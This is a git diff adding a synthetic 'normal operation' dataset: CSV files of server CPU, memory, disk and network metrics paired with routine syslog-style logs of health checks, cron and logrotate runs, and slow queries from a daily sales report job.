GET /api/v1/products status=200 OK +Jul 15 10:07:00 CRON[7917]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:07:05 web-app[1234]: GET /api/v1/user/164 status=200 OK +Jul 15 10:07:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:07:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:07:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:07:25 web-app[1234]: GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_7.csv b/norm_dataset/scenario_2/norm_2_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..6ba481d10745d07c144e0acfd4755ea8958025fe --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.4901424590337,40.19415509869608,33.128336738825034,0.999690091701177,1.0649937817251969 +2025-07-02T12:00:05Z,14.585207096486446,41.93728998106578,25.714212217918586,1.200687932571389,0.5650790245135198 +2025-07-02T12:00:10Z,16.94306561430208,38.59589381224529,24.64553750969444,1.1025090068640702,0.5678701712681535 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/dev/null +++ b/norm_dataset/scenario_2/norm_2_7.log @@ -0,0 +1,41 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:00:00 web-app[2031]: GET /api/v1/user/43 status=200 OK +Jul 02 12:00:20 web-app[2091]: GET /api/v1/user/40 status=200 OK +Jul 02 12:00:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[2071]: GET /api/v1/user/48 status=200 OK +Jul 02 12:01:00 web-app[2025]: GET /api/v1/user/43 status=200 OK +Jul 02 12:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:01:20 web-app[2053]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 web-app[2049]: GET /api/v1/user/21 status=200 OK +Jul 02 12:01:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[2064]: GET /api/v1/user/14 status=200 OK +Jul 02 12:02:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:02:20 web-app[2093]: GET /api/v1/user/39 status=200 OK +Jul 02 12:02:40 web-app[2056]: GET /api/v1/user/26 status=200 OK +Jul 02 12:03:00 web-app[2046]: GET /api/v1/user/32 status=200 OK +Jul 02 12:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:03:20 web-app[2078]: GET /api/v1/user/46 status=200 OK +Jul 02 12:03:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 CRON[8899]: (root) CMD (test -x /usr/sbin/logrotate && /usr/sbin/logrotate /etc/logrotate.conf) +Jul 02 12:03:32 logrotate[9001]: rotating pattern: /var/log/nginx/*.log weekly (4 rotations) +Jul 02 12:03:33 logrotate[9001]: emptying /var/log/nginx/access.log, old logs are in /var/log/nginx/access.log.1 +Jul 02 12:03:34 logrotate[9001]: compressing /var/log/nginx/access.log.1 +Jul 02 12:03:38 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:40 web-app[2084]: GET /api/v1/user/23 status=200 OK +Jul 02 12:04:00 web-app[2065]: GET /api/v1/user/20 status=200 OK +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:04:20 web-app[2050]: GET /api/v1/user/48 status=200 OK +Jul 02 12:04:40 web-app[2037]: GET /api/v1/user/43 status=200 OK +Jul 02 12:04:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 web-app[2037]: GET /api/v1/user/43 status=200 OK +Jul 02 12:05:20 web-app[2081]: GET /api/v1/user/39 status=200 OK +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:05:40 web-app[2078]: GET /api/v1/user/36 status=200 OK +Jul 02 12:06:00 web-app[2050]: GET /api/v1/user/43 status=200 OK +Jul 02 12:06:20 web-app[2051]: GET /api/v1/user/47 status=200 OK +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Jul 02 12:06:40 web-app[2096]: GET /api/v1/user/33 status=200 OK +Jul 02 12:07:00 web-app[2078]: GET /api/v1/user/39 status=200 OK +Jul 02 12:07:20 web-app[2050]: GET /api/v1/user/26 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_8.csv b/norm_dataset/scenario_2/norm_2_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..d88f18fba647c958f367058e61c692aac6f0692e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.372229797915942,38.50287529076729,27.636937506738647,0.936823464176971,1.0848817056226194 +2025-07-02T12:00:05Z,15.699168426397717,39.738772031978556,36.28113324303284,0.9332379199935124,1.2197966554976651 +2025-07-02T12:00:10Z,14.143488501163517,44.39177361294243,25.28599561737029,0.6320612329510145,0.7175424304985342 +2025-07-02T12:00:15Z,15.912401942403624,40.763685621749524,33.95849183602839,1.1313052983326641,0.9248289545076361 +2025-07-02T12:00:20Z,11.743931353255544,36.99953286283144,38.2122576290398,1.1223350671943135,0.8608735641999812 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12:01:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:01:32 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:02:05 web-app[3456]: GET /api/v1/health status=201 Created +Jul 02 12:02:33 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:03:01 api-server[7890]: GET /api/v1/status status=201 Created +Jul 02 12:03:23 web-app[3456]: GET /api/v1/metrics status=200 OK +Jul 02 12:03:30 CRON[8888]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:03:31 systemd[1]: Starting Daily rotation of log files... +Jul 02 12:03:49 logrotate[8890]: Reading state from /var/lib/logrotate/status +Jul 02 12:03:50 logrotate[8890]: Compressing /var/log/syslog to /var/log/syslog.1.gz +Jul 02 12:03:56 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:05 kubelet[2345]: WARN Liveness probe failed for pod db-pod +Jul 02 12:04:44 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:26 kubelet[2345]: WARN Liveness probe failed for pod db-pod +Jul 02 12:06:04 kubelet[2345]: WARN Liveness probe failed for pod db-pod +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_9.csv b/norm_dataset/scenario_2/norm_2_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..b88df92c88944dd7d4e1d5c9eb932cc5e388ba22 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.175681684055622,42.536185180210246,29.358699888280317,1.2027125505053962,0.9630994160174131 +2025-07-02T12:00:05Z,19.794940887862754,42.35228193701026,29.481237158464005,1.2110327457303935,0.7950368462613813 +2025-07-02T12:00:10Z,16.037090063780838,41.32419803367688,33.10562697655399,0.580384838094254,1.0487343842174335 +2025-07-02T12:00:15Z,11.352144747135847,39.79414104718776,25.513336621647852,1.3224689926374795,1.0435201947242132 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clean up activities... +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 02 12:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/44 status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 02 12:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:01 systemd[1]: Starting Log Rotation... +Jul 02 12:03:10 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:04:05 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/10 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_1.csv b/norm_dataset/scenario_3/norm_3_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..10ff193e25b3cb773eb2b9ab86105a1adc820ed1 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.1,44.43,42.84,1.55,1.27 +2025-08-13T04:00:05Z,16.53,45.84,27.46,1.59,0.92 +2025-08-13T04:00:10Z,15.88,44.27,29.5,2.05,0.96 +2025-08-13T04:00:15Z,14.03,45.65,32.22,1.14,0.89 +2025-08-13T04:00:20Z,19.38,45.51,36.59,1.16,0.9 +2025-08-13T04:00:25Z,11.67,40.74,35.21,1.71,1.07 +2025-08-13T04:00:30Z,13.09,41.1,25.61,1.33,1.2 +2025-08-13T04:00:35Z,13.21,43.7,27.89,1.44,1.04 +2025-08-13T04:00:40Z,18.64,45.07,29.67,1.44,1.15 +2025-08-13T04:00:45Z,13.18,46.93,28.04,1.68,0.88 +2025-08-13T04:00:50Z,16.69,57.11,39.86,1.61,1.02 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+2025-08-13T04:07:25Z,12.23,44.76,32.8,1.38,1.0 diff --git a/norm_dataset/scenario_3/norm_3_1.log b/norm_dataset/scenario_3/norm_3_1.log new file mode 100644 index 0000000000000000000000000000000000000000..dd7c858ef6b102bb48b36f4fe8a542a7653cde45 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_1.log @@ -0,0 +1,10 @@ +Aug 13 04:00:05 systemd[1]: Starting Daily Sales Report Job... +Aug 13 04:00:10 daily-reporter[8852]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:15 daily-reporter[8852]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:01:00 kernel: [12345.678] random kernel message for noise +Aug 13 04:03:00 daily-reporter[8852]: INFO: 50% of records aggregated. +Aug 13 04:05:45 daily-reporter[8852]: INFO: Aggregation complete. Writing report to database. +Aug 13 04:06:30 postgres[2341]: [3-1] LOG: slow query: DURATION: 375000.123 ms STATEMENT: SELECT date_trunc('day', created_at), product_id, SUM(amount) FROM sales WHERE created_at >= '2025-08-12' AND created_at < '2025-08-13' GROUP BY 1, 2; +Aug 13 04:06:50 daily-reporter[8852]: INFO: Report job completed successfully. +Aug 13 04:06:55 systemd[1]: daily_sales_report_job.service: Succeeded. +Aug 13 04:07:10 CRON[8890]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_3/norm_3_10.csv b/norm_dataset/scenario_3/norm_3_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..c2e38cdfaa46df327a32c32e11101399dcbc18c2 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,19.09,41.83,26.18,0.77,1.0 +2025-08-13T04:00:05Z,17.02,41.0,31.49,0.72,0.83 +2025-08-13T04:00:10Z,17.12,40.62,24.59,0.56,1.21 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records from 2025-08-12 00:00 to 23:59. +Aug 13 04:06:00 reporting-service[4567]: INFO: Report job completed. +Aug 13 04:06:15 reporting-service[4567]: GET /health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_11.csv b/norm_dataset/scenario_3/norm_3_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..ccdf2f7ea6cec0db21b374a24c7c28f8cf993d21 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,72.95,51.55,89.78,1.21,0.66 +2025-08-13T04:00:05Z,93.54,51.55,84.81,1.2,1.29 +2025-08-13T04:00:10Z,87.56,49.8,83.23,1.05,1.49 +2025-08-13T04:00:15Z,79.8,55.5,93.05,0.93,0.63 +2025-08-13T04:00:20Z,83.2,56.34,89.44,1.19,0.52 +2025-08-13T04:00:25Z,92.88,56.44,90.34,1.12,0.62 +2025-08-13T04:00:30Z,91.21,55.41,89.81,1.08,0.56 +2025-08-13T04:00:35Z,78.47,56.51,79.68,1.42,1.41 +2025-08-13T04:00:40Z,87.46,59.17,90.39,1.29,1.41 +2025-08-13T04:00:45Z,93.45,58.0,84.7,1.06,0.71 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a/norm_dataset/scenario_3/norm_3_11.log b/norm_dataset/scenario_3/norm_3_11.log new file mode 100644 index 0000000000000000000000000000000000000000..295b32d735f58e2021c5a7ad3de7530a922aae6f --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_11.log @@ -0,0 +1,7 @@ +Aug 13 04:00:00 CRON[5677]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:00 report-job[5678]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:10 report-job[5678]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:02:30 postgresql[1234]: LOG: slow query: duration=145231.43 ms statement: SELECT sales_date, product_id, SUM(amount) FROM sales_records WHERE sales_date = '2025-08-12' GROUP BY sales_date, product_id; +Aug 13 04:05:00 report-job[5678]: INFO: Report job completed successfully in 300 seconds. +Aug 13 04:05:45 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:10 web-app[2345]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_12.csv b/norm_dataset/scenario_3/norm_3_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc8c41c23cb02b63f695f3b103383e47d99b8d36 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,15.81,44.51,8.68,0.91,1.28 +2025-08-13T04:00:05Z,11.96,37.71,12.73,1.25,1.14 +2025-08-13T04:00:10Z,18.9,40.97,10.8,1.09,0.72 +2025-08-13T04:00:15Z,11.51,35.41,7.39,0.62,0.55 +2025-08-13T04:00:20Z,18.31,40.08,13.45,1.08,0.56 +2025-08-13T04:00:25Z,11.9,37.05,13.59,1.3,1.39 +2025-08-13T04:00:30Z,16.0,37.89,9.45,0.98,0.73 +2025-08-13T04:00:35Z,13.91,38.8,6.35,1.17,0.83 +2025-08-13T04:00:40Z,16.13,42.97,8.98,0.74,0.65 +2025-08-13T04:00:45Z,18.32,43.58,12.81,1.39,1.05 +2025-08-13T04:00:50Z,14.15,44.97,5.3,1.09,1.33 +2025-08-13T04:00:55Z,10.88,42.64,9.63,0.94,0.62 +2025-08-13T04:01:00Z,13.53,39.2,253.26,1.2,1.06 +2025-08-13T04:01:05Z,32.64,39.24,274.48,0.51,0.79 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b/norm_dataset/scenario_3/norm_3_12.log new file mode 100644 index 0000000000000000000000000000000000000000..051ec58d5a88cbf5e370cf73fdded9dbd710caa8 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_12.log @@ -0,0 +1,13 @@ +Aug 13 04:00:25 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:50 web-app[1532]: GET /api/v1/health status=200 OK +Aug 13 04:01:00 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 13 04:01:05 report-runner[7533]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:10 report-runner[7533]: INFO: Establishing database connection. +Aug 13 04:01:15 report-runner[7533]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 13 04:03:20 report-runner[7533]: INFO: 50% of records processed. +Aug 13 04:05:00 report-runner[7533]: INFO: 90% of records processed. +Aug 13 04:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 13 04:06:30 report-runner[7533]: INFO: Aggregation complete. Writing report to database. +Aug 13 04:06:40 report-runner[7533]: INFO: Report job completed successfully in 345.12 seconds. +Aug 13 04:07:05 web-app[1532]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_13.csv b/norm_dataset/scenario_3/norm_3_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..fcf6423c913d19c367693b8c42a65ec2adebb9b7 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.83,41.0,29.04,1.13,0.98 +2025-08-13T04:00:05Z,15.8,39.5,37.88,1.0,1.03 +2025-08-13T04:00:10Z,10.09,38.09,35.75,0.98,1.09 +2025-08-13T04:00:15Z,87.58,59.62,387.35,0.85,1.02 +2025-08-13T04:00:20Z,84.64,57.01,425.05,1.36,1.08 +2025-08-13T04:00:25Z,79.18,64.35,336.16,1.43,0.97 +2025-08-13T04:00:30Z,90.37,59.77,377.05,1.31,0.9 +2025-08-13T04:00:35Z,77.09,61.32,288.39,1.35,1.21 +2025-08-13T04:00:40Z,78.05,62.06,445.83,1.34,0.74 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+2025-08-13T04:07:10Z,17.31,36.63,21.88,1.14,0.84 +2025-08-13T04:07:15Z,10.4,35.05,28.05,1.12,0.85 +2025-08-13T04:07:20Z,19.78,41.0,29.04,1.01,0.93 +2025-08-13T04:07:25Z,12.91,38.14,30.75,1.2,0.82 diff --git a/norm_dataset/scenario_3/norm_3_13.log b/norm_dataset/scenario_3/norm_3_13.log new file mode 100644 index 0000000000000000000000000000000000000000..a265854f3c6eb278982194d8da0acc72902c3fea --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_13.log @@ -0,0 +1,9 @@ +Aug 13 04:00:10 systemd[1]: Starting daily backup task... +Aug 13 04:00:15 report_job_runner[12345]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:20 report_job_runner[12345]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:30 web-app[1122]: GET /api/v1/status status=200 OK +Aug 13 04:03:15 mysqld[5678]: SLOW QUERY: Query_time: 185.12s User: report_user@localhost SELECT store_id, SUM(amount) FROM sales WHERE sale_date = '2025-08-12' GROUP BY store_id; +Aug 13 04:04:45 CRON[12399]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:06:00 report_job_runner[12345]: INFO: Report job completed. +Aug 13 04:06:05 report_job_runner[12345]: INFO: Daily sales report saved to s3://reports/daily_sales_2025-08-12.csv +Aug 13 04:07:10 web-app[1122]: GET /api/v1/products/all status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_14.csv b/norm_dataset/scenario_3/norm_3_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..323d54f7df57051dc066af3c9b1b20c59674ead4 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,18.75,39.82,6.88,1.11,0.76 +2025-08-13T04:00:05Z,13.03,38.05,6.14,0.98,0.86 +2025-08-13T04:00:10Z,11.12,36.25,6.95,1.26,0.76 +2025-08-13T04:00:15Z,19.23,35.24,12.11,1.45,1.11 +2025-08-13T04:00:20Z,18.75,36.8,8.81,0.8,1.16 +2025-08-13T04:00:25Z,16.05,37.04,10.73,1.06,0.93 +2025-08-13T04:00:30Z,17.26,40.0,13.01,1.0,1.02 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+2025-08-13T04:07:15Z,10.65,35.51,13.57,0.76,1.0 +2025-08-13T04:07:20Z,11.47,35.13,10.55,1.14,0.81 +2025-08-13T04:07:25Z,10.83,38.95,14.57,1.13,0.79 diff --git a/norm_dataset/scenario_3/norm_3_14.log b/norm_dataset/scenario_3/norm_3_14.log new file mode 100644 index 0000000000000000000000000000000000000000..6ede727ea4006df96570af2ab611b66dcebdfed6 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_14.log @@ -0,0 +1,15 @@ +Aug 13 04:00:00 report-generator[4567]: INFO: Report generator service started. +Aug 13 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:45 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:01:55 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:02:00 report-generator[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:05 report-generator[4567]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:03:00 report-generator[4567]: INFO: Fetched 15,345,678 records from sales_db. +Aug 13 04:04:30 mysqld[1122]: # User@Host: report_user[report_user] @ localhost [] Id: 8 +Aug 13 04:04:30 mysqld[1122]: # Query_time: 150.115211 Lock_time: 0.000121 Rows_sent: 50000 Rows_examined: 15345678 +Aug 13 04:04:30 mysqld[1122]: SET timestamp=1723521870; +Aug 13 04:04:30 mysqld[1122]: SELECT date(created_at), product_id, SUM(amount), COUNT(*) FROM sales WHERE created_at BETWEEN '2025-08-12 00:00:00' AND '2025-08-12 23:59:59' GROUP BY 1, 2; +Aug 13 04:05:50 report-generator[4567]: INFO: Aggregation complete. Generating report... +Aug 13 04:06:30 report-generator[4567]: INFO: Report job completed. Output saved to /var/reports/daily_sales_2025-08-12.csv. +Aug 13 04:06:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:07:20 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_3/norm_3_15.csv b/norm_dataset/scenario_3/norm_3_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..74d226b152015678d55dddf9966b1dd283fed23d --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T03:57:30Z,16.32,39.14,35.15,1.05,1.07 +2025-08-14T03:57:35Z,16.17,41.26,33.27,1.09,0.72 +2025-08-14T03:57:40Z,15.48,38.9,29.73,1.55,0.76 +2025-08-14T03:57:45Z,16.43,40.97,32.77,0.64,0.69 +2025-08-14T03:57:50Z,15.03,40.76,34.67,0.66,0.7 +2025-08-14T03:57:55Z,14.71,33.6,32.47,1.21,0.87 +2025-08-14T03:58:00Z,12.66,34.16,29.57,0.83,1.0 +2025-08-14T03:58:05Z,14.98,38.05,27.72,0.94,0.84 +2025-08-14T03:58:10Z,15.01,40.11,28.53,0.94,0.95 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+2025-08-14T04:04:55Z,14.8,39.63,33.16,0.88,0.8 diff --git a/norm_dataset/scenario_3/norm_3_15.log b/norm_dataset/scenario_3/norm_3_15.log new file mode 100644 index 0000000000000000000000000000000000000000..f01312480de4d6d41bd4bd185ab082a71b41ea21 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_15.log @@ -0,0 +1,11 @@ +Aug 14 03:57:30 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 03:58:05 web-app[2513]: GET /api/v1/user/84 status=200 OK +Aug 14 03:58:40 systemd[1]: Starting daily network connection maintenance... +Aug 14 03:59:25 web-app[2513]: POST /api/v1/login status=200 OK +Aug 14 04:00:00 report-runner[7812]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:05 report-runner[7812]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:01:35 postgres[445]: [3-1] LOG: duration: 115345.231 ms statement: SELECT date_trunc('day', order_date), product_id, SUM(quantity), SUM(price) FROM sales_records WHERE order_date >= '2025-08-13' AND order_date < '2025-08-14' GROUP BY 1, 2 ORDER BY 1; +Aug 14 04:03:00 report-runner[7812]: INFO: Report job completed successfully. 54321 records processed. +Aug 14 04:03:25 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:04:00 web-app[2513]: GET /api/v1/user/112 status=200 OK +Aug 14 04:04:35 systemd[1]: Daily network connection maintenance finished. diff --git a/norm_dataset/scenario_3/norm_3_16.csv b/norm_dataset/scenario_3/norm_3_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..3e1649099db31dd8ff65fa5fcc7158d2e88a36ba --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T03:58:00Z,16.8,39.74,28.53,0.92,0.73 +2025-08-14T03:58:05Z,16.3,43.94,32.04,0.88,0.98 +2025-08-14T03:58:10Z,13.59,42.7,25.95,1.38,0.88 +2025-08-14T03:58:15Z,18.81,36.71,27.01,1.41,0.91 +2025-08-14T03:58:20Z,13.82,38.15,29.96,1.17,1.16 +2025-08-14T03:58:25Z,10.76,37.42,23.02,0.85,0.99 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+2025-08-14T04:05:10Z,14.07,43.09,32.65,1.04,1.25 +2025-08-14T04:05:15Z,13.16,39.05,26.8,0.88,0.89 +2025-08-14T04:05:20Z,18.52,41.36,22.0,1.36,1.04 +2025-08-14T04:05:25Z,12.2,40.84,34.77,1.38,1.13 diff --git a/norm_dataset/scenario_3/norm_3_16.log b/norm_dataset/scenario_3/norm_3_16.log new file mode 100644 index 0000000000000000000000000000000000000000..090e621be87983b8e1e0ab2a52a7ab30616f8420 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_16.log @@ -0,0 +1,10 @@ +Aug 14 03:58:10 web-app[3451]: GET /api/v1/status status=200 OK +Aug 14 03:59:05 systemd[1]: Starting daily network connection check... +Aug 14 03:59:45 web-app[3451]: GET /api/v1/user/91 status=200 OK +Aug 14 04:00:00 CRON[8821]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 04:00:00 report-runner[8824]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:05 report-runner[8824]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:01:15 postgres[2109]: [3-1] user=admin,db=reports,app=report-runner,client=127.0.0.1 LOG: slow query: duration=65123.456 ms statement: SELECT date_trunc('day', order_time), product_id, SUM(quantity), COUNT(DISTINCT customer_id) FROM sales_records WHERE order_time >= '2025-08-13 00:00:00' AND order_time <= '2025-08-13 23:59:59' GROUP BY 1, 2; +Aug 14 04:04:05 report-runner[8824]: INFO: Report job completed successfully. Generated report daily_sales_20250813.pdf. +Aug 14 04:04:30 web-app[3451]: GET /api/v1/products/all status=200 OK +Aug 14 04:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_3/norm_3_17.csv b/norm_dataset/scenario_3/norm_3_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..fb3bda80797e8a60f0f7d24967496c22bef9a0cb --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,8.35,44.44,24.73,1.19,1.07 +2025-08-13T04:00:05Z,13.87,42.93,28.17,0.88,1.15 +2025-08-13T04:00:10Z,14.24,41.76,16.04,1.31,0.62 +2025-08-13T04:00:15Z,10.5,42.6,15.99,1.27,1.06 +2025-08-13T04:00:20Z,9.95,37.15,21.41,0.65,1.26 +2025-08-13T04:00:25Z,14.09,38.8,27.78,1.03,1.21 +2025-08-13T04:00:30Z,11.88,53.41,23.65,1.26,1.02 +2025-08-13T04:00:35Z,21.71,55.38,34.04,0.72,0.81 +2025-08-13T04:00:40Z,41.13,58.46,58.4,0.93,0.66 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+2025-08-13T04:07:10Z,14.45,42.22,26.18,1.01,1.31 +2025-08-13T04:07:15Z,14.79,43.57,24.52,0.81,0.82 +2025-08-13T04:07:20Z,14.0,37.27,23.62,1.31,0.93 +2025-08-13T04:07:25Z,10.0,42.59,14.8,1.33,1.36 diff --git a/norm_dataset/scenario_3/norm_3_17.log b/norm_dataset/scenario_3/norm_3_17.log new file mode 100644 index 0000000000000000000000000000000000000000..f58caf71a29818c4fe0725b97c1b13187ec797be --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_17.log @@ -0,0 +1,28 @@ +Aug 13 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:30 report-job[4510]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:35 report-job[4510]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 